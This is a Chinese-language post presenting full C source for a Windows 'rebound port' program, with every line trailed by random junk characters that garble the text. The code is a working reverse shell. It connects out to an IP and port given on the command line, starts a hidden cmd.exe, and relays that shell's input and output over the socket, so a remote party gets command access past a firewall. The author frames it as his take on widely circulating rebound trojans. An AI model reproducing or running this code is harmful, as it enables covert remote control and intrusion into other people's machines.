这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WUn]F~Lt
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/* ============================== H(ARw'M
Rebound port in Windows NT ~D j8z+^
By wind,2006/7 'urafE4M
===============================*/ l` lk-nb
#include [6Izlh+D
#include v!~fs)cdE|
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#pragma comment(lib,"wsock32.lib") #4<SAgq
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void OutputShell(); ,aZ[R27rpL
SOCKET sClient; >C>.\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?=Z?6fw
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void main(int argc,char **argv) @1roe
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{ _aSxc)?
WSADATA stWsaData; K<3A1'_
int nRet; X]TG<r
SOCKADDR_IN stSaiClient,stSaiServer; Tv,[DI +
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if(argc != 3) yLvDMPj
{ ~g]Vw4pv
printf("Useage:\n\rRebound DestIP DestPort\n"); JX;<F~{.
return; /l~p=PK
} DMr\ TN
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WSAStartup(MAKEWORD(2,2),&stWsaData); n:?a$Ldgm
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2*& ^v
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stSaiClient.sin_family = AF_INET; ?(1y
stSaiClient.sin_port = htons(0); rH Lm\3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &jJL"gq"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MAR'y8I
{ Gx/Oi)&/
printf("Bind Socket Failed!\n"); >y7?-*0
return; ~,Zc% s~|
} >1Ibc=}g
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stSaiServer.sin_family = AF_INET; D%pF;XY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `4J$Et%S
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K\Wkoi5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Rr]Hy^w
{ tX s\R(?T
printf("Connect Error!"); k1~&x$G
return; zY{A'<\O
} jvL[
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OutputShell(); y dA8wL
} TF\C@4Z
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void OutputShell() v@L;x [Q
{ U?Zq6_M&
char szBuff[1024]; }o(-=lF
SECURITY_ATTRIBUTES stSecurityAttributes; PJ%C N(0
OSVERSIONINFO stOsversionInfo; kVMg 1I@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oLeq!K}re
STARTUPINFO stStartupInfo; -GrE}L
char *szShell; *L^,|
PROCESS_INFORMATION stProcessInformation; Z@S3ZGe
unsigned long lBytesRead; .|70;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I+!0 O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aB&&YlR=n<
stSecurityAttributes.lpSecurityDescriptor = 0; f}P3O3Yv&
stSecurityAttributes.bInheritHandle = TRUE; !*N@ZL&X
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V b ?oJhR
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X.{S*E:$u
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m<Dy<((_I
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FTUv IbT
stStartupInfo.wShowWindow = SW_HIDE; |/{=ww8|
stStartupInfo.hStdInput = hReadPipe; SY\ gXO8k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ",; H`V
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GetVersionEx(&stOsversionInfo); 1>h]{%I
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switch(stOsversionInfo.dwPlatformId) #)O65GI
{ aX'*pK/-
case 1: _Y;W0Z
szShell = "command.com"; %P|/A+Mg"
break; +=</&Tm
default: %7.30CA|#
szShell = "cmd.exe"; hRhe& ,v
break; YN F k
} 7Ak6,BuI%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `M8i92V\qY
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send(sClient,szMsg,77,0); "+G8d'%YV
while(1) xi}skA
{ !Wnb|=j
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0M[EEw3
if(lBytesRead) lRFYx?y
{ `d}2O%P
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j A%u 5V
send(sClient,szBuff,lBytesRead,0); /*mI<[xb
} ^<2p~h0
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else LZY"3Jn[nQ
{ lt8|9"9<
lBytesRead=recv(sClient,szBuff,1024,0); @Jw-8Q{
if(lBytesRead<=0) break; SE %pw9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kt:!
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} D'Q\za
} EaN6^S=
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return; XXa|BZ1RX
}